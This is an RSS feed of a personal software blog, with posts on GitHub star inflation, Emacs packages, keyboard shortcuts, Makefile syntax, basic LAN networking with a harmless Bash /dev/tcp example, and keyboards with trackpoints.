<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Ruslan's Tech Blog</title><link>https://codelearn.me/</link><description>Software development related stuff</description><language>en-us</language><lastBuildDate>Fri, 08 May 2026 19:55:51 +1000</lastBuildDate><atom:link href="https://codelearn.me/feed.xml" rel="self" type="application/rss+xml"/><item><title>GitHub stars inflation</title><link>https://codelearn.me/2026/05/08/why-show-github-stars.html</link><pubDate>Fri, 08 May 2026 19:55:51 +1000</pubDate><guid>https://codelearn.me/2026/05/08/why-show-github-stars.html</guid><description>&lt;style>
.pics {
 display: flex;
 flex-direction: row;
}

@media (max-width: 768px) {
 .pics {
 flex-direction: column;
 }
}

.full-width-on-mobile {
 width: 600px;
}

@media (max-width: 768px) {
 .full-width-on-mobile {
 width: 100%;
 }
}

&lt;/style>
&lt;h2 id="here-is-what-im-talking-about">Here is what I&amp;rsquo;m talking about:&lt;/h2>
&lt;div class="pics">
 &lt;a href="https://codelearn.me/assets/img/star-history-1.png" target="_blank">&lt;img alt="stars rating for project called deepseek-tui" width="300px" src="https://codelearn.me/assets/img/star-history-1.png" />&lt;/a>
 &lt;a href="https://codelearn.me/assets/img/star-history-2.png" target="_blank">&lt;img alt="stars rating for project called awesome-ai-apps" width="300px" src="https://codelearn.me/assets/img/star-history-2.png" />&lt;/a>
&lt;/div>
&lt;div class="pics">
 &lt;a href="https://codelearn.me/assets/img/star-history-3.png" target="_blank">&lt;img alt="stars rating for project called everything-claude-code" width="300px" src="https://codelearn.me/assets/img/star-history-3.png" />&lt;/a>
 &lt;a href="https://codelearn.me/assets/img/star-history-4.png" target="_blank">&lt;img alt="stars rating for project called dify" width="300px" src="https://codelearn.me/assets/img/star-history-4.png" />&lt;/a>
&lt;/div>
&lt;p>All these examples use a project called &lt;a href="https://github.com/star-history/star-history">star-history&lt;/a>.&lt;/p>
&lt;p>I saw an explanation from the author of this project that the idea is to
provide the audience with a metric about how many stars a particular project have collected over time, which can indicate
how active the project is.&lt;/p>
&lt;p>I can&amp;rsquo;t find this statement anymore.&lt;/p>
&lt;h2 id="stars-as-trust-currency">Stars as trust currency&lt;/h2>
&lt;p>During my time with GitHub I perceived stars as some form of currency. I didn&amp;rsquo;t star every project I liked or read about on the internet
because I wanted to make sure the value of stars is distributed fairly.&lt;/p>
&lt;p>This might not be the case for other people. One of the use cases I&amp;rsquo;m aware of is using stars and bookmarks for interesting projects.&lt;/p>
&lt;p>Nevertheless, both cases show the interest in a particular project &lt;strong>from computer hackers, programmers and admins&lt;/strong>.&lt;br>
If enough interest is paid from this group, anyone else could assume with high certainty - the project is popular, active, interesting, working.&lt;br>
&lt;em>It, of course, never was a 100% accurate validation.&lt;/em>&lt;/p>
&lt;h2 id="inflation-moment">Inflation moment&lt;/h2>
&lt;div>
&lt;a href="https://codelearn.me/assets/img/nvidia-gtc-2026.webp" target="_blank">&lt;img alt="photo of presentation from nvidia where star-history project is on the slide" class="full-width-on-mobile" src="https://codelearn.me/assets/img/nvidia-gtc-2026.webp" />&lt;/a>
&lt;p>&lt;em>: this picture is taken from star-history readme file&lt;/em>&lt;/p>
&lt;div>
&lt;p>Due to recent developments in the tech industry, software engineering has become an easy entry area.
It is still difficult to master as any other area but you can now make a simple web site in a minute instead of
reading tons of docs and remembering every HTML tag.&lt;/p>
&lt;p>The audience of people &lt;em>and bots&lt;/em> who can write programs has broadened significantly.&lt;/p>
&lt;p>To some degree this situation can be viewed as a form of &lt;strong>asset bubble&lt;/strong>.&lt;/p>
&lt;p>The supply of stars increased very quickly.&lt;br>
The number of people who can star increased as well.&lt;br>
The most attractive repos (from the new audience perspective) got tons of stars now.&lt;br>
The &amp;ldquo;hottest&amp;rdquo; repos capture most of the stars without necessarily increasing the value their produce.&lt;br>
The disconnected between a repo&amp;rsquo;s value and the number of stars is increasing.&lt;/p>
&lt;p>The number of stars is changing meaning. It&amp;rsquo;s now a popularity signal mostly rather than anything else.
Popularity at a particular time I should say. Stars almost never taken away and the project that collected
tons of them can become inactive the next day but the number of stars will stay with it forever.&lt;/p>
&lt;p>What the stars rating is currently showing is when the project was posted on Hacker News or similar places.&lt;/p>
&lt;h2 id="what-to-do">What to do&lt;/h2>
&lt;p>It is hard to trust this stars-metric now.&lt;br>
I now pay more attention to open and closed issues, the discussion inside of those
issues. Forum/chat of the project where community is gathering. &lt;br>
The number of pull requests is maybe a good metric too although less trustworthy nowadays.&lt;br>
The number of sponsors can be a good one.&lt;/p>
&lt;p>These were the places to look at anyway but now they has become more valuable.&lt;/p></description></item><item><title>I optimised my blog</title><link>https://codelearn.me/2026/04/05/optimised-blog.html</link><pubDate>Sun, 05 Apr 2026 15:27:44 +1000</pubDate><guid>https://codelearn.me/2026/04/05/optimised-blog.html</guid><description>&lt;p>I looked at my blog in the network tab and I saw this:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/blog-before.png">&lt;img width="600px" src="https://codelearn.me/assets/img/blog-before.png"/>&lt;/a>&lt;/p>
&lt;p>The entire index page with css is smaller than the custom Inconsolata font I was enforcing on my website.&lt;/p>
&lt;p>The index page is &lt;strong>24.01KB&lt;/strong> (11KB compressed) and the font is &lt;strong>31.7KB&lt;/strong> (31.15KB compressed). Total size is &lt;strong>55.71KB&lt;/strong>.&lt;/p>
&lt;p>I relaised I should &lt;strong>not&lt;/strong> override the font of my web site.&lt;br>
Because people may have configured the monospace and other fonts in their system
or just in their browser and I should not interfere with their preferred style of text.&lt;/p>
&lt;p>I do understand that font can be a part of visual language of the web site.
I just decided to choose not to use custom fonts as part of my visual language.&lt;/p>
&lt;h2 id="i-removed-the-custom-font">I removed the custom font&lt;/h2>
&lt;p>That&amp;rsquo;s the only thing I needed to do, so, I stopped downloading Inconsolata and started to use &lt;strong>monospace&lt;/strong> as &lt;strong>font-family&lt;/strong>.&lt;/p>
&lt;p>And here is what happened to the network traffic:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/blog-after.png">&lt;img width="600px" src="https://codelearn.me/assets/img/blog-after.png"/>&lt;/a>&lt;/p>
&lt;p>&lt;strong>23.91KB&lt;/strong> total (10.95KB compressed). 2x improvement. Load time is halved as well!&lt;/p>
&lt;h2 id="it-still-looks-great-even-better">It still looks great (even better?)&lt;/h2>
&lt;h3 id="before">Before&lt;/h3>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/blog-before-ui.png">&lt;img width="600px" src="https://codelearn.me/assets/img/blog-before-ui.png"/>&lt;/a>&lt;/p>
&lt;h3 id="after">After&lt;/h3>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/blog-after-ui.png">&lt;img width="600px" src="https://codelearn.me/assets/img/blog-after-ui.png"/>&lt;/a>&lt;/p>
&lt;p>It even fits more posts on the screen now. I think it&amp;rsquo;s a good improvement.&lt;/p></description></item><item><title>Emacs: goto-address-mode</title><link>https://codelearn.me/2026/04/05/goto-address-mode.html</link><pubDate>Sun, 05 Apr 2026 14:12:53 +1000</pubDate><guid>https://codelearn.me/2026/04/05/goto-address-mode.html</guid><description>&lt;p>In &lt;a href="https://codelearn.me/2026/03/23/github-list-my-prs.html">one of my previous blog posts&lt;/a> I mentioned a command that returns the list of all &lt;strong>open&lt;/strong>
pull requests I have ever created on github:&lt;/p>
&lt;pre tabindex="0">&lt;code>gh search prs --author @me --state open --json title,url --template &amp;#39;{{range .}}{{.title}} - {{.url}}{{&amp;#34;\n&amp;#34;}}{{end}}&amp;#39;
&lt;/code>&lt;/pre>&lt;br>
&lt;p>I wrapped this command into &lt;strong>krydos/show-my-prs&lt;/strong> elisp function that just executes the above&amp;rsquo;s snippet using &lt;strong>async-shell-command&lt;/strong>.&lt;/p>
&lt;p>Here is its output:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/showmyprs.png">&lt;img width="600px" src="https://codelearn.me/assets/img/showmyprs.png"/>&lt;/a>&lt;/p>
&lt;p>Looks great and already useful for me but what&amp;rsquo;s missing is clickable links.&lt;/p>
&lt;p>Turns out Emacs, &lt;strong>as usual&lt;/strong>, have a built in answer.&lt;/p>
&lt;p>The mode is called &lt;strong>goto-address-mode&lt;/strong>. Just turn it on in the buffer and all the links become clickable (you can also &lt;strong>C-c RET&lt;/strong> on them).
&lt;br>Look:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/showmyprs-with-the-mode.png">&lt;img width="600px" src="https://codelearn.me/assets/img/showmyprs-with-the-mode.png"/>&lt;/a>&lt;/p>
&lt;p>Emacs is the best!&lt;/p></description></item><item><title>CMD vs CTRL philosophy on macOS vs Linux</title><link>https://codelearn.me/2026/04/04/macos-ctrl-vs-cmd.html</link><pubDate>Sat, 04 Apr 2026 00:00:00 +0000</pubDate><guid>https://codelearn.me/2026/04/04/macos-ctrl-vs-cmd.html</guid><description>&lt;p>I think macOS keyboard shortcut philosophy is superior to Windows or Linux.&lt;/p>
&lt;h2 id="i-dont-like-linux-shortcuts">I don&amp;rsquo;t like Linux shortcuts&lt;/h2>
&lt;p>They are very much the same as the Windows ones - which is funny considering the history between the two.&lt;/p>
&lt;p>The shortcuts are absolutely disrespectful to my hands. I have to move my palms constantly to do things.&lt;/p>
&lt;h2 id="examples">Examples&lt;/h2>
&lt;h3 id="firefox-and-other-browsers-on-linux-vs-macos">Firefox (and other browsers) on Linux vs macOS&lt;/h3>
&lt;p>On Linux, if I type my query into the URL bar, get some records from history or search, and want to select a particular one, what should I do?&lt;/p>
&lt;p>&lt;em>Press Tab&lt;/em> — this one is alright, not too bad. This will select the next candidate in the suggested list. But what if I want to select the previous one?&lt;br>
&lt;em>Press Shift+Tab&lt;/em> — yeah, OK, I can&amp;rsquo;t do it without moving my palms.&lt;br>
&lt;em>Can you just use the arrow keys?&lt;/em> — No, I cannot, because it requires moving my palms as well. It&amp;rsquo;s unnecessary.&lt;/p>
&lt;p>On macOS I can use readline style shortcuts with Control. I can press &lt;strong>Ctrl+n&lt;/strong> or &lt;strong>Ctrl+p&lt;/strong> to navigate down and up among the elements.&lt;/p>
&lt;h3 id="any-input">Any input&lt;/h3>
&lt;p>How do I control my cursor position on Linux when I type? I use the arrow keys. There is no other way. I can use some global remappers, but they break other things. They are alien to the system.&lt;/p>
&lt;p>On macOS I can just press &lt;strong>Ctrl+b&lt;/strong> to move backward or &lt;strong>Ctrl+f&lt;/strong> to move forward. It&amp;rsquo;s so much easier and more comfortable.&lt;/p>
&lt;h2 id="its-just-a-matter-of-habit">It&amp;rsquo;s just a matter of habit&lt;/h2>
&lt;p>It isn&amp;rsquo;t.&lt;br>
Humans can get used to anything, sure, but there is no need to waste this adaptation resource. How is it possible that we accepted &lt;strong>Ctrl+Shift+Tab&lt;/strong> as a key binding to switch tabs in our browsers on Linux?&lt;/p>
&lt;p>Humans can&amp;rsquo;t press it comfortably.&lt;/p>
&lt;h2 id="i-wish-linux-would-utilize-the-win-key-more">I wish Linux would utilize the Win key more&lt;/h2>
&lt;p>It would be such a great improvement. &lt;strong>Ctrl+n&lt;/strong> in Firefox on Linux always spawns a new window.
It&amp;rsquo;s so painful. Why not make it &lt;strong>Win+n&lt;/strong> to spawn a new window?&lt;/p>
&lt;p>Or when I type something in Thunderbird, wouldn&amp;rsquo;t it be great to just press &lt;strong>Ctrl+b&lt;/strong> to quickly go backward to fix a typo?&lt;br>
Hands don&amp;rsquo;t move - only the fingers.&lt;/p>
&lt;h2 id="there-are-no-fixes-to-it">There are no fixes to it&lt;/h2>
&lt;p>GNOME, for example, has Emacs mode, which doesn&amp;rsquo;t work in some applications, including Firefox.&lt;/p>
&lt;p>Firefox has the ability to remap the modifier key (from Control to Windows key), but it only works in Firefox and breaks a bunch of other things.&lt;/p>
&lt;p>There are quite a few programs that can help solve this, but they aren&amp;rsquo;t perfect (far from perfect, in fact). They require so much attention and configuration, and will break as soon as you install a new application that has its own shortcuts implemented in a weird way.&lt;/p>
&lt;p>The only way would be to fix it at the fundamental level: maybe X11 / Wayland (although Wayland doesn&amp;rsquo;t handle keypresses, does it?).&lt;/p>
&lt;p>Maybe one day.&lt;/p></description></item><item><title>List all my open PRs on GitHub</title><link>https://codelearn.me/2026/03/23/github-list-my-prs.html</link><pubDate>Mon, 23 Mar 2026 21:01:32 +1100</pubDate><guid>https://codelearn.me/2026/03/23/github-list-my-prs.html</guid><description>&lt;div style="max-width: 600px">
If you open github.com you'll see the copilot chat interface.
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/copilot.chat.png">&lt;img width="600px" src="https://codelearn.me/assets/img/copilot.chat.png"/>&lt;/a>&lt;/p>
&lt;p>Apparently you can ask for assistance in there. For example, there is even a helper button for it, you can ask it to find all your open PRs.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/copilot.chat.prs.png">&lt;img width="600px" src="https://codelearn.me/assets/img/copilot.chat.prs.png"/>&lt;/a>&lt;/p>
&lt;p>If you click &lt;strong>My open pull requests&lt;/strong> it will helpfully type the request to the copilot for you in the textarea.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/copilot.chat.prs.query.png">&lt;img width="600px" src="https://codelearn.me/assets/img/copilot.chat.prs.query.png"/>&lt;/a>&lt;/p>
&lt;p>Isn&amp;rsquo;t it handy? AI is just so much better, I don&amp;rsquo;t understand how some people don&amp;rsquo;t get it.&lt;/p>
&lt;p>Now I can prompt it once in a natural language, submit and get the results in a couple of seconds while copilot is thinking and burning tokens.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/copilot.chat.reply.png">&lt;img width="600px" src="https://codelearn.me/assets/img/copilot.chat.reply.png"/>&lt;/a>&lt;/p>
&lt;p>Oh oh. Well, a bit more than couple of seconds and one prompt.&lt;/p>
&lt;hr>
&lt;p>Anyways, here is how you do it.&lt;/p>
&lt;pre tabindex="0">&lt;code>gh search prs --author @me --state open
&lt;/code>&lt;/pre>&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/github.prs.list.png">&lt;img width="600px" src="https://codelearn.me/assets/img/github.prs.list.png"/>&lt;/a>&lt;/p>
&lt;p>it takes one second.&lt;/p>
&lt;/div></description></item><item><title>Can't find a good keyboard</title><link>https://codelearn.me/2026/02/28/keyboards-with-trackpoints.html</link><pubDate>Sat, 28 Feb 2026 18:54:58 +1100</pubDate><guid>https://codelearn.me/2026/02/28/keyboards-with-trackpoints.html</guid><description>&lt;p>I&amp;rsquo;m not a big fan of using a mouse because it forces me to move my hands from the home row.
I have similar stance on trackpads, although they are a bit better.&lt;/p>
&lt;p>What really makes me feel good is trackpoints. They are probably less accurate but way more comfortable for me.
Plus my workflow is mostly keyboard driven and I only need to move the cursor occasionally.&lt;/p>
&lt;p>Below is a list of keyboards I used that have trackpoint.&lt;/p>
&lt;h2 id="thinkpad-keyboard">Thinkpad keyboard&lt;/h2>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/thinkpad-keyboard.jpg">&lt;img width="600px" src="https://codelearn.me/assets/img/thinkpad-keyboard.jpg"/>&lt;/a>&lt;/p>
&lt;p>This was the first external keyboard I bought after switching from my Thinkpad X1 Carbon to Dell XPS 9500.
The discomfort of using dell&amp;rsquo;s trackpad made me buy this keyboard.&lt;/p>
&lt;p>I love it. One of the best keyboards I had. The only downside is it&amp;rsquo;s not programmable.&lt;br>
It&amp;rsquo;s very important for me to
make CapsLock button behave as Control on the keyboard level, because when I connect it to another machine I want my keyboard
to function as I used to. It made this keyboard not fully portable for me as that remaping friction caused quite a bit of frustration on my end.&lt;/p>
&lt;p>Other than that - perfect.&lt;/p>
&lt;h2 id="tex---shura">Tex - Shura&lt;/h2>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/shura.webp">&lt;img width="600px" src="https://codelearn.me/assets/img/shura.webp"/>&lt;/a>&lt;/p>
&lt;p>Another nice keyboard I have (mine has one solid space bar though). It is programmable so that issue with the CapsLock mapping
is eliminated with this keyboard.&lt;/p>
&lt;p>Unfortunately for me, I can&amp;rsquo;t use it for long period of time. My wrists start to hurt after using it for a few weeks.
I had to switch to my laptop&amp;rsquo;s keyboard (M1 Mac book), though occasionally I use Shura for a couple of days at a time.&lt;/p>
&lt;p>It&amp;rsquo;s not the first mechanical keyboard where I discovered I have issues with using them. They always cause quite discomfort for my hands
even though it is very comfortable from &amp;ldquo;home row perspective&amp;rdquo;.&lt;/p>
&lt;p>I got some recommendations from my colleagues to use palm rest and it does solve the issue but it creates another point of discomfort
as my portability is reduced.&lt;br>
At work I have meetings and I want to grab my laptop+keyboard which I don&amp;rsquo;t like but still can do.
Grabbing laptop+keyboard+palmrest is too much.&lt;/p>
&lt;h2 id="not-sure-what-my-other-options-are">Not sure what my other options are&lt;/h2>
&lt;p>I&amp;rsquo;m looking at low profile mechanical keyboards now but there aren&amp;rsquo;t that many options that I can easily try without
paying too much.&lt;/p>
&lt;p>There is &lt;a href="https://old.reddit.com/r/ErgoMechKeyboards/comments/oisnad/i_made_this_santoku_gen_2_trackpoint_as_a/">Santoku Gen 2&lt;/a> that I might try one day.&lt;/p>
&lt;p>Unfortunately the market of keyboards with trackpoints isn&amp;rsquo;t too big.&lt;/p></description></item><item><title>Makefile "define" keyword</title><link>https://codelearn.me/2026/02/16/makefile-define.html</link><pubDate>Mon, 16 Feb 2026 21:16:31 +1100</pubDate><guid>https://codelearn.me/2026/02/16/makefile-define.html</guid><description>&lt;p>I often use Makefile(s) as a task runner similar to &lt;a href="https://github.com/casey/just">Justfile&lt;/a>
or &lt;a href="https://github.com/adriancooney/Taskfile">Taskfile&lt;/a>.&lt;/p>
&lt;p>I do sort of understand the concept. I kind of know what target is and what dependencies are.
I also know what &lt;strong>.PHONY&lt;/strong> targets are because they are good use case for make targets that are used as tasks.&lt;/p>
&lt;p>But I have just discovered something new - the &lt;a href="https://ftp.gnu.org/old-gnu/Manuals/make-3.80/html_node/make_71.html">define&lt;/a> is.&lt;/p>
&lt;p>Turns out &lt;strong>define&lt;/strong> is a way in Makefile to define a multi line string.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>define multiline_string
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hello from
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>makefile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>endef
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export multiline_string
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>.PHONY: print
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	@echo $$multiline_string
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This prints:&lt;/p>
&lt;pre tabindex="0">&lt;code>hello from
makefile
&lt;/code>&lt;/pre>&lt;br>
&lt;p>The reason we use &lt;strong>export&lt;/strong> is just to make sure we can print it because otherwise make is trying to interpret every line as a command.
But if you don&amp;rsquo;t need to print it and you want to use this multi line string as a file content for example then it should just work.&lt;/p>
&lt;p>I think this &lt;strong>define&lt;/strong> keyword is pretty neat.&lt;/p></description></item><item><title>Some networking tips</title><link>https://codelearn.me/2026/02/02/bash-tcp-udp.html</link><pubDate>Mon, 02 Feb 2026 21:25:49 +1100</pubDate><guid>https://codelearn.me/2026/02/02/bash-tcp-udp.html</guid><description>&lt;p>I think I don&amp;rsquo;t understand computer networking really well so I&amp;rsquo;ve been playing with some related tech to improve my knowledge.&lt;/p>
&lt;p>Here are the interesting stuff I found.&lt;/p>
&lt;h2 id="broadcast-address">Broadcast address&lt;/h2>
&lt;p>Sending UDP packets to 192.168.1.255 will make this UDP packet seen by every machine in my network. At least computers that are in 192.168.1.0/24 (which means a range from 192.168.1.0-192.168.1.254).&lt;/p>
&lt;p>This type of IP is mentioned in &lt;a href="https://datatracker.ietf.org/doc/html/rfc6890">RFC 6890&lt;/a> so the standard defines how it works.
It&amp;rsquo;s not just my router magically configures it. It&amp;rsquo;s a common behaviour.&lt;/p>
&lt;h2 id="ping-cannot-be-send-to-broadcast-address">Ping cannot be send to broadcast address&lt;/h2>
&lt;p>If I try to do &lt;strong>ping 192.168.1.255&lt;/strong> I get an error saying &lt;strong>Do you want to ping broadcast? Then -b. If not, check your local firewall rules&lt;/strong>.&lt;br>
Option &lt;strong>-b&lt;/strong> works.&lt;br>
It&amp;rsquo;s implemented in ping binary &lt;a href="https://github.com/iputils/iputils/blob/master/ping/ping.c#L894C10-L894C89">over here&lt;/a>.&lt;/p>
&lt;p>The reason is that it looks like Linux kernel itself do not allow to send packets to broadcast address unless socket is opened with &lt;strong>SO_BROADCAST&lt;/strong>.
It&amp;rsquo;s all there probably due to some security related reasons to protect network flooding.&lt;/p>
&lt;h3 id="question-i-was-unable-to-answer">Question I was unable to answer&lt;/h3>
&lt;p>If I send TCP SYN packet to 192.168.1.255 will I get ACK back from all the computers in my network? (&lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/TCP_handshake">tcp handshake&lt;/a>)&lt;/p>
&lt;h2 id="multicast-addresses">Multicast addresses&lt;/h2>
&lt;p>This thing is defined in &lt;a href="https://www.rfc-editor.org/rfc/rfc1112.txt">RFC 1112&lt;/a>.&lt;/p>
&lt;p>Sort of similar to Broadcast address but other machine must subscribe to a broadcast first by sending a message (using special protocol) to a particular IP from the range defined in the RFC.&lt;br>
The range is pretty big - &lt;strong>224.0.0.0 to 239.255.255.255&lt;/strong>. &lt;br>
268 million IPv4 addresses could be freed up if this cool Multicast range didn&amp;rsquo;t exist.&lt;/p>
&lt;h2 id="mdns">mDNS&lt;/h2>
&lt;p>It&amp;rsquo;s like DNS but doesn&amp;rsquo;t require an actual DNS server. I think it&amp;rsquo;s supported pretty much on every modern OS now. &lt;br>
It uses special domain &lt;strong>.local&lt;/strong> and if you try to &lt;strong>ping test-machine.local&lt;/strong> mDNS will ignore sending &lt;strong>test-machine.local&lt;/strong> to the DNS server.
Instead it will use multicast thingy I mentioned above to send a message to IP &lt;strong>224.0.0.251&lt;/strong> with a host name &lt;strong>test-machine.local&lt;/strong> and the machine that has this domain name and has mDNS configured, will reply back with its IP address.
Because machines that support mDNS subscribe to the broadcast for all the packets sent to &lt;strong>224.0.0.251&lt;/strong>.&lt;br>
Pretty neat.&lt;br>&lt;/p>
&lt;h2 id="bash-devudptcpipport">Bash /dev/{udp,tcp}/&amp;lt;ip&amp;gt;/&amp;lt;port&amp;gt;&lt;/h2>
&lt;p>&lt;strong>echo &amp;ldquo;test&amp;rdquo; &amp;gt; /dev/tcp/192.168.1.111/8080&lt;/strong> - this command will send &lt;strong>test&lt;/strong> to IP &lt;strong>192.168.1.111&lt;/strong> to the port &lt;strong>8080&lt;/strong>.&lt;br>
I saw it mentioned somewhere in the internet couple of times and I thought it&amp;rsquo;s Linux kernel feature but I found it&amp;rsquo;s actually Bash feature.&lt;br>
/dev/udp or /dev/tcp are not even in the file system. Bash just intercepts these devices/paths and does the magic.&lt;br>
&lt;a href="https://man7.org/linux/man-pages/man1/bash.1.html">Check this man page&lt;/a> (search for &amp;ldquo;/dev/tcp&amp;rdquo;)&lt;/p>
&lt;p>It is quite refreshing to understand these bits.&lt;/p></description></item><item><title>Emacs: Dumb Jump Is So Good</title><link>https://codelearn.me/2026/01/03/dumb-jump-is-so-good.html</link><pubDate>Sat, 03 Jan 2026 21:22:17 +1100</pubDate><guid>https://codelearn.me/2026/01/03/dumb-jump-is-so-good.html</guid><description>&lt;p>There is a library I rely on constantly in my day to day computing, at work and at home.
This library is called &lt;a href="https://github.com/jacktasia/dumb-jump">dumb-jump&lt;/a>.&lt;/p>
&lt;p>I don&amp;rsquo;t see it is prized as often as Magit for example, which made me write this post.&lt;/p>
&lt;p>Below I explain what it does but first, let me thank to &lt;strong>Jack Angers&lt;/strong> and all the contributors.
I have used this library for 10 years. It is one of the best computer programs I have ever used.
There were periods when I was off Emacs during that time and the first thing I looked for in other editors was a plugin similar to dumb-jump.&lt;/p>
&lt;h2 id="what-does-it-do">What does it do&lt;/h2>
&lt;p>It jumps to definition of a function/method/class.&lt;/p>
&lt;p>Here is my config for it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#a6e22e">use-package&lt;/span> dumb-jump
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">:ensure&lt;/span> &lt;span style="color:#66d9ef">t&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">:config&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (add-hook &lt;span style="color:#e6db74">&amp;#39;xref-backend-functions&lt;/span> &lt;span style="color:#a6e22e">#&amp;#39;&lt;/span>dumb-jump-xref-activate)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> dumb-jump-force-searcher &lt;span style="color:#e6db74">&amp;#39;rg&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">;; use completion-read instead of a separate buffer with candidates&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#66d9ef">setq&lt;/span> xref-show-definitions-function &lt;span style="color:#a6e22e">#&amp;#39;&lt;/span>xref-show-definitions-completing-read))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Combined with &lt;a href="https://github.com/dajva/rg.el">rg&lt;/a> it eliminated my need in LSPs or ctags/etags entirely.&lt;/p>
&lt;p>Here is me using it on Emacs source code, which is big code base (click to view the video in a separate tab):&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/video/dumbjump-in-action.mov">&lt;video src="https://codelearn.me/assets/video/dumbjump-in-action.mov" width="100%"/>&lt;/a>&lt;/p>
&lt;p>In this video I:&lt;/p>
&lt;ul>
&lt;li>press &lt;code>M-.&lt;/code> to go to definition.&lt;/li>
&lt;li>In less than a second I get matching definitions that I can filter if necessary.&lt;/li>
&lt;li>I jump straight to the definition.&lt;/li>
&lt;/ul>
&lt;h2 id="how-does-it-work">How does it work&lt;/h2>
&lt;p>It just greps the entire project for the symbol at point. The best thing about it is that with LSP for example it&amp;rsquo;s impossible
(or rather I haven&amp;rsquo;t seen it working) to place my cursor over a function name in a comment somewhere and jump to it.&lt;/p>
&lt;p>Like in:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-js" data-lang="js">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">/**
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"> * This test function is cool but
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"> * check another_function_name for more info
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">test&lt;/span>() {}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With dumb-jump - I can place my cursor at &lt;strong>another_function_name&lt;/strong>, press &lt;strong>M-.&lt;/strong> and I&amp;rsquo;m looking at the definition of it.&lt;/p>
&lt;p>It works with &lt;strong>ANY&lt;/strong> programming language.&lt;/p>
&lt;h2 id="why-not">Why not&lt;/h2>
&lt;h3 id="ctagsetags">ctags/etags&lt;/h3>
&lt;p>Every time a file is changed the ctags table must be regenerated. It can be automated but I think it&amp;rsquo;s unnecessary overhead.&lt;/p>
&lt;h3 id="lsp-eglot">LSP (Eglot)&lt;/h3>
&lt;p>I love LSP as a technology but I don&amp;rsquo;t want a background process to run on my machine while I&amp;rsquo;m working on a project.
What if during the day I work on 10 projects, which is real for me at work for example. It will spawn 10 background processes
for different languages that I have to mentally track (because I do mentally track what&amp;rsquo;s running in my computing environment).&lt;/p>
&lt;p>The amount of RAM and CPU spent on this just feels too expensive.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>If for some reason you haven&amp;rsquo;t tried this library - try. It&amp;rsquo;s so good.&lt;/p>
&lt;p>I wish I can find better words on how grateful I am that it exists. Thank you!&lt;/p></description></item><item><title>Migration from Syncthing to Unison</title><link>https://codelearn.me/2025/12/29/from-syncthing-to-unison.html</link><pubDate>Mon, 29 Dec 2025 12:49:12 +1100</pubDate><guid>https://codelearn.me/2025/12/29/from-syncthing-to-unison.html</guid><description>&lt;p>I spent quite a bit of time yesterday migrating from &lt;a href="https://syncthing.net/">Syncthing&lt;/a> to &lt;a href="https://github.com/bcpierce00/unison">Unison&lt;/a>.&lt;/p>
&lt;h2 id="why">Why&lt;/h2>
&lt;p>About six months ago, I decided to move away from Syncthing due to an ethical dilemma.&lt;/p>
&lt;p>Syncthing&amp;rsquo;s usability is amazing, and I love the software. I am sad that I had to make the migration, but very happy that Unison exists and works great.&lt;/p>
